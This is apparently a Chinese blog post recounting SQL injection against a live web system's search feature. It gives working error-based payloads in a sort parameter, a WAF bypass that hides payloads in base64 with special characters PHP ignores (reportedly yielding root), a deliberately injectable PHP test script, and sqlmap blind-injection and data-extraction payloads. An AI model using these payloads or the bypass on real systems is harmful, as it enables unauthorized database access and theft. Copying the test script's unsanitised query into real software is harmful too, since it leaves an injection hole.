0x01前言

前段时间遇到的一次注入,没啥技术含量记录一下,希望大佬勿喷有问题可评论或邮箱,一个小通用

0x02 Srot注入

一个系统注册后某个功能点的搜索处

记一次注入

抓包参数很多,其中有一个Sort参数值是desc

记一次注入

随手加个A,这个站刚好开了debug爆出了语句,但是发现他被`包裹,这里开始想的是闭合后注入

记一次注入

在desc后面添加`发现还是报错语句里面也没有出现两个`,输入两个会多出来一个

desc`

记一次注入

然后尝试在后面加上空格跟字符发现也给加上`符号,那么这里闭合也就不在考虑

desc A

记一次注入

这里就采用正常的sort位置的注入方式采用,号后面跟1返回正常

desc,1

记一次注入

然后在随便改一个大一点的值,语句爆出来了没有被`符号包裹,这样就可以直接注入了

desc,100

记一次注入

存在报错直接用报错注入即可,得到用户

desc,updatexml(1,concat(0x1,user()),1)

记一次注入

0x03 base64下过waf

此系统另外一个点参数base64编码,这个是同套系统不同站,这个站存在waf

记一次注入

随便加个内容页面报错

记一次注入

报错注入payload base64编码,被拦截

133 and updatexml(1,concat(0x1,user()),1)

记一次注入

php在base64解码的时候会忽略特殊字符,我们在payload里面穿插!@.来让waf没办法识,但是后端可以识别,成功注入得到root权限,可以参考我之前发的文章 http://blog.mo60.cn/index.php/archives/73.html

记一次注入

0x04 sort扩展

测试代码

<?php
error_reporting(0);
header('Content-type:text/html;charset=utf8');

/*修改下面配置即可*/
$server='127.0.0.1'; #mysql服务器地址
$sqluser='root';    #mysql账号
$sqlpass='root';    #mysql密码
$sqlport='3306';    #mysql端口
/******************************/

$conn=mysqli_connect($server,$sqluser,$sqlpass,'information_schema',$sqlport);
$conn or die("连接错误: " . mysqli_connect_error());

$sort=$_GET['sort'];
isset($sort) or $sort='desc';
$sql="select * from TABLES where ROW_FORMAT = 'Fixed' order by VERSION $sort ";
$result=mysqli_query($conn,$sql);
while ($row = mysqli_fetch_assoc($result)) 
    print_r($row);
?>

判断还是老方法,1 ,1000然后看返回状态

记一次注入

记一次注入

每种注入我都会看看sqlmap会怎么做,此处sqlmap可跑出布尔跟延时两种注入

记一次注入

sqlmap identified the following injection point(s) with a total of 1776 HTTP(s) requests:
---
Parameter: sort (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
    Payload: sort=desc,(SELECT (CASE WHEN (5317=5317) THEN 1 ELSE 5317*(SELECT 5317 FROM INFORMATION_SCHEMA.PLUGINS) END))
    Vector: ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause
    Payload: sort=desc,(SELECT (CASE WHEN (5356=5356) THEN SLEEP(5) ELSE 5356 END))
    Vector: ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))
---

出数据方式也是一样,正常操作即可

desc,(SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),12,1))>95) THEN 1 ELSE 7365*(SELECT 7365 FROM INFORMATION_SCHEMA.PLUGINS) END))

标签: none


若要转载本站的文章,请遵守转载CC4.0协议注明文章来源

添加新评论